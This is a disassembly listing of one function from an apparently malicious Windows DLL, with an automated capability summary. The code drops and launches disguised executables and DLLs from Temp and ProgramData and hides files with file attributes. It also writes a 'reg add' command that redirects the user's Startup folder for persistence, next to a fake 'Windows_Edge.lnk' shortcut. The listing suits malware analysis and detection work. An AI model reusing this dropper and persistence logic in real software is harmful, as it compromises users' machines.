Function at 0x180003e90
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Enumerate processes
Find taskbar
Get common file path
Get file attributes
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x18d0]
mov eax, 0x19d0
call fcn.18001a090
sub rsp, rax
movaps xmmword [rsp + 0x19c0], xmm6
movaps xmmword [rsp + 0x19b0], xmm7
mov r14, rcx
lea rdx, [rbp + 0xd10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.1800039b0
mov r9, rax
lea r8, [rbp + 0xd10]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x7c0]
call fcn.18000c940
lea r8, [rbp + 0xd10]
lea rdx, str._sXLBugHandler.dll
lea rcx, [rbp + 0xc00]
call fcn.18000c940
lea r8, [rbp + 0xd10]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0x1140]
call fcn.18000c940
lea rcx, [rbp + 0xc8]
call fcn.180003580
nop
lea rcx, [rbp + 0xe8]
call fcn.180003580
nop
xor r12d, r12d
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], r12b
lea r8d, [r12 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x50]
call fcn.18000ae30
nop
lea r8d, [r12 + 1]
lea rdx, [0x1800527e8]
lea rcx, [rbp - 0x50]
call fcn.18000af90
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea r8d, [r12 + 6]
lea rdx, str.config
lea rcx, [rbp - 0x70]
call fcn.18000af90
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180004032
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000402d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005acf
call fcn.1800197f8
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x18000407d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004078
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005ad5
call fcn.1800197f8
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0xa8]
call fcn.18000ae30
nop
mov r8d, 1
lea rdx, [0x1800527e8]
lea rcx, [rbp + 0xa8]
call fcn.18000af90
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rdx, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xd8]
lea rcx, [rbp + 0x88]
call fcn.18000af90
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x1800527e8]
lea rcx, [rbp + 0x68]
call fcn.18000af90
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rsp + 0x50]
call fcn.18000af90
mov qword [rsp + 0x70], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x70]
call fcn.18000af90
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180004286
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004281
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005adb
call fcn.1800197f8
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1800042d4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800042cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005ae1
call fcn.1800197f8
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x180004325
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004320
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005ae7
call fcn.1800197f8
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x180004379
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004374
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005aed
call fcn.1800197f8
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x1800043d3
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800043ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005af3
call fcn.1800197f8
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0xc0], 0xf
mov byte [rbp + 0xa8], 0
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x10]
call fcn.18000ae30
nop
mov r8d, 1
lea rdx, [0x1800527e8]
lea rcx, [rbp - 0x10]
call fcn.18000af90
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rdx, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xd8]
lea rcx, [rbp - 0x70]
call fcn.18000af90
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1800044ed
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800044e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005af9
call fcn.1800197f8
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180004538
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004533
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005aff
call fcn.1800197f8
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180004583
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000457e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b05
call fcn.1800197f8
lea r8, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae r8, qword [rbp + 0x48]
lea rdx, [0x1800527ec]
lea rcx, [rbp + 0x8d0]
call fcn.18000c940
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
lea rax, [rbp + 0x8d0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1800045c6
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x10]
call fcn.18000ae30
nop
lea rcx, [rbp + 0x10]
mov r9, qword [rbp + 0x10]
mov r10, qword [rbp + 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x180004633
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x18000462e
nop dword [rax]
cmp r8, rcx
je 0x180004633
dec r8
cmp byte [r8], 0x5c
jne 0x180004620
sub r8, rcx
jmp 0x18000463a
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp + 0x10]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x10]
call fcn.18000ae30
nop
mov r8d, 0x12
lea rdx, str.mhRCPlayer_dll.dll
lea rcx, [rbp - 0x10]
call fcn.18000af90
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1800046d5
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800046d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b0b
call fcn.1800197f8
movups xmmword [rbp + 0x10], xmm6
movups xmmword [rbp + 0x20], xmm7
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180004718
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004713
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b11
call fcn.1800197f8
lea r8, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae r8, qword [rbp + 0x10]
lea rdx, [0x1800527ec]
lea rcx, [rbp + 0x1030]
call fcn.18000c940
lea rax, [rbp + 0xf20]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call fcn.1800039b0
mov r9, rax
lea r8, [rbp + 0xf20]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x9e0]
call fcn.18000c940
lea r8, [rbp + 0xf20]
lea rdx, str._s_assistBase.dll
lea rcx, [rbp + 0x1690]
call fcn.18000c940
lea r8, [rbp + 0xf20]
lea rdx, str._sClient.exe
lea rcx, [rbp + 0x580]
call fcn.18000c940
call fcn.1800039b0
mov r9, rax
lea r8, [rbp + 0xd10]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x17a0]
call fcn.18000c940
lea rcx, [rbp + 0x360]
call fcn.180008e40
nop
mov qword [rsp + 0x50], r12
mov word [rsp + 0x58], 1
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x3a8]
mov qword [rsp + 0x70], rax
test rax, rax
sete byte [rsp + 0x78]
mov byte [rsp + 0x79], 0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x30]
call fcn.18000f2a0
nop
lea rcx, [rbp + 0x370]
call fcn.18000a9c0
mov r8d, 2
test rax, rax
jne 0x180004886
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x360]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, r8d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.180002730
lea rcx, [0x1801e2730]
call fcn.180020f70
mov dword [rsp + 0x50], 0x61657771
mov dword [rsp + 0x54], 0x32316473
mov dword [rsp + 0x58], 0x63787a33
mov ecx, 0xc
call fcn.180019800
mov qword [rbp - 0x50], rax
lea rbx, [rax + 0xc]
mov qword [rbp - 0x40], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.18001bb30
mov qword [rbp - 0x48], rbx
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x30]
call fcn.180003410
mov qword [rbp - 0x30], r12
mov rcx, r12
mov qword [rbp - 0x20], rcx
mov r8d, 0xf
mov qword [rbp - 0x18], r8
mov byte [rbp - 0x30], cl
mov rdi, qword [rbp + 0x38]
mov rbx, qword [rbp + 0x30]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x180004924
lea rcx, [rbp - 0x30]
call fcn.18000d140
mov rcx, r12
mov qword [rbp - 0x20], rcx
mov r8, qword [rbp - 0x18]
lea rax, [rbp - 0x30]
mov qword [rbp + 0x1908], rax
cmp rbx, rdi
je 0x180004978
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x18000495d
lea rax, [rcx + 1]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x30]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180004966
lea rcx, [rbp - 0x30]
call fcn.18000d3a0
inc rbx
cmp rbx, rdi
je 0x180004978
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x20]
jmp 0x180004934
lea rdx, str.__w__________________
lea rcx, [rbp + 0x230]
call fcn.180007e90
nop
mov qword [rbp + 0x260], r12
mov byte [rbp + 0x268], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
mov qword [rbp + 0x290], r12
mov byte [rbp + 0x298], 0
movdqa xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], r12
mov qword [rbp + 0x2c0], r12
mov byte [rbp + 0x2c8], 0
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
add rdx, qword [rbp - 0x20]
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rax, qword [rbp - 0x30]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
lea rcx, [rbp + 0x230]
mov qword [rbp + 0x120], rcx
mov dword [rbp + 0x128], r12d
mov qword [rbp + 0x130], r12
mov byte [rbp + 0x138], 0
movdqa xmmword [rbp + 0x140], xmm0
movdqa xmmword [rbp + 0x150], xmm1
mov qword [rbp + 0x160], r12
mov byte [rbp + 0x168], 0
movdqa xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x180], 0
mov qword [rbp + 0x188], r12
mov qword [rbp + 0x190], r12
mov byte [rbp + 0x198], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x230]
lea r8, [rbp + 0x130]
mov rcx, rax
call fcn.18000cc40
mov rbx, qword [rbp + 0x120]
test al, al
cmove rbx, r12
mov qword [rbp + 0x120], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x2f0], r12
mov byte [rbp + 0x2f8], 0
movdqa xmmword [rbp + 0x300], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x310], xmm1
mov qword [rbp + 0x320], r12
mov byte [rbp + 0x328], 0
movdqa xmmword [rbp + 0x330], xmm0
mov byte [rbp + 0x340], 0
mov qword [rbp + 0x348], r12
mov qword [rbp + 0x350], r12
mov byte [rbp + 0x358], 0
lea r13, str.qddll
mov r15d, 0xa
mov rdi, qword [rbp + 0x140]
test rbx, rbx
sete al
test al, al
jne 0x1800050c1
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x1a0]
call fcn.1800038a0
nop
mov rcx, qword [rbp + 0x1b8]
mov rsi, qword [rbp + 0x1b0]
sub rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x180004f95
cmp byte [rsi + 0x28], 0
je 0x180004b8b
movups xmm0, xmmword [rsi + 0x18]
movups xmmword [rsp + 0x70], xmm0
jmp 0x180004b94
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x180004bc9
sub r8, rdx
lea rcx, [rsp + 0x50]
call fcn.18000ae30
nop
cmp byte [rsi + 0x40], 0
je 0x180004bda
movups xmm0, xmmword [rsi + 0x30]
movups xmmword [rsp + 0x70], xmm0
jmp 0x180004be3
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x180004c13
sub r8, rdx
lea rcx, [rbp - 0x70]
call fcn.18000ae30
nop
cmp byte [rsi + 0x58], 0
je 0x180004c24
movups xmm0, xmmword [rsi + 0x48]
movups xmmword [rsp + 0x70], xmm0
jmp 0x180004c2d
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov ebx, 0xf
mov qword [rbp + 8], rbx
mov byte [rbp - 0x10], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x180004c61
sub r8, rdx
lea rcx, [rbp - 0x10]
call fcn.18000ae30
mov rbx, qword [rbp + 8]
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
call fcn.18000f440
mov rcx, rax
lea rdx, [0x180052814]
call fcn.18000c6b0
lea rdx, [rsp + 0x50]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x68]
cmp r9, 0x10
cmovae rdx, r8
mov r10, qword [rsp + 0x60]
cmp r10, 5
jne 0x180004cfe
mov rcx, r12
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x180004ce9
cmp rcx, 5
jne 0x180004cd0
mov eax, r12d
jmp 0x180004cee
sbb eax, eax
or eax, 1
test eax, eax
jne 0x180004cfe
lea rdx, [rbp + 0x1030]
jmp 0x180004e78
lea rdx, [rsp + 0x50]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 6
jne 0x180004d4e
mov rcx, r12
lea r11, str.runexe
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004d39
cmp rcx, 6
jne 0x180004d20
mov eax, r12d
jmp 0x180004d3e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x180004d4e
lea rdx, [rbp + 0x9e0]
jmp 0x180004e78
lea rax, [rsp + 0x50]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 3
jne 0x180004d8c
cmp byte [rax], 0x62
jne 0x180004d77
cmp byte [rax + 1], 0x77
jne 0x180004d77
cmp byte [rax + 2], 0x6a
jne 0x180004d77
mov eax, r12d
jmp 0x180004d7c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x180004d8c
lea rdx, [rbp + 0x7c0]
jmp 0x180004e78
lea rax, [rsp + 0x50]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 3
jne 0x180004dca
cmp byte [rax], 0x64
jne 0x180004db5
cmp byte [rax + 1], 0x6c
jne 0x180004db5
cmp byte [rax + 2], 0x6c
jne 0x180004db5
mov eax, r12d
jmp 0x180004dba
sbb eax, eax
or eax, 1
test eax, eax
jne 0x180004dca
lea rdx, [rbp + 0xc00]
jmp 0x180004e78
lea rax, [rsp + 0x50]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 2
jne 0x180004dff
cmp byte [rax], 0x71
jne 0x180004ded
cmp byte [rax + 1], 0x64
jne 0x180004ded
mov eax, r12d
jmp 0x180004df2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x180004dff
lea rdx, [rbp + 0x1140]
jmp 0x180004e78
lea rdx, [rsp + 0x50]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 5
jne 0x180004e4b
mov rcx, r12
lea r11, str.qdexe
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004e39
cmp rcx, 5
jne 0x180004e20
mov eax, r12d
jmp 0x180004e3e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x180004e4b
lea rdx, [rbp + 0x8d0]
jmp 0x180004e78
lea rcx, [rsp + 0x50]
cmp r9, 0x10
cmovae rcx, r8
cmp r10, 0xa
jne 0x180004e8b
mov r8, r15
lea rdx, str.tgp_daemon
call fcn.18001c440
test eax, eax
jne 0x180004e8b
lea rdx, [rbp + 0x580]
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
call fcn.1800032e0
lea rcx, [rbp + 0x9e0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180004eaf
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x9e0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180004ed4
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x580]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
cmp rbx, 0x10
jb 0x180004f0d
lea rdx, [rbx + 1]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004f07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b17
call fcn.1800197f8
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180004f48
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004f43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b1d
call fcn.1800197f8
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180004f95
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004f90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b23
call fcn.1800197f8
mov rdi, qword [rbp + 0x140]
mov rbx, qword [rdi + 8]
xor dl, dl
cmp qword [rdi], rbx
jne 0x180004fec
mov rdx, qword [rbp + 0x118]
cmp rbx, rdx
je 0x18000503f
mov ecx, dword [rbp + 0x128]
or ecx, 0x60
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x120]
lea r8, [rbp + 0x130]
mov rcx, rbx
call fcn.18000cc40
test al, al
jne 0x18000504b
mov dl, 1
mov eax, dword [rbp + 0x128]
bts eax, 8
mov dword [rbp + 0x128], eax
mov ecx, eax
bts ecx, 0xe
test dl, dl
cmove ecx, eax
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x120]
lea r8, [rbp + 0x130]
mov rdx, qword [rbp + 0x118]
mov rcx, rbx
call fcn.18000cc40
test al, al
jne 0x18000504b
mov rdi, qword [rbp + 0x140]
mov rbx, r12
mov qword [rbp + 0x120], rbx
jmp 0x180005059
mov rdi, qword [rbp + 0x140]
mov rbx, qword [rbp + 0x120]
test rsi, rsi
je 0x180004b22
mov rcx, qword [rbp + 0x1c0]
sub rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rsi
cmp rdx, 0x1000
jb 0x1800050b4
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b29
mov rcx, rsi
call fcn.1800197f8
jmp 0x180004b22
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800039b0
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x470]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8, r14
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0x1250]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1250]
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x470]
call fcn.180003b40
mov r8, r14
lea rdx, str._sWindows_Edge.lnk
lea rcx, [rbp + 0x1470]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x8d0]
lea rdx, str.__s_
lea rcx, [rbp + 0x1360]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1360]
lea rdx, [rbp + 0x8d0]
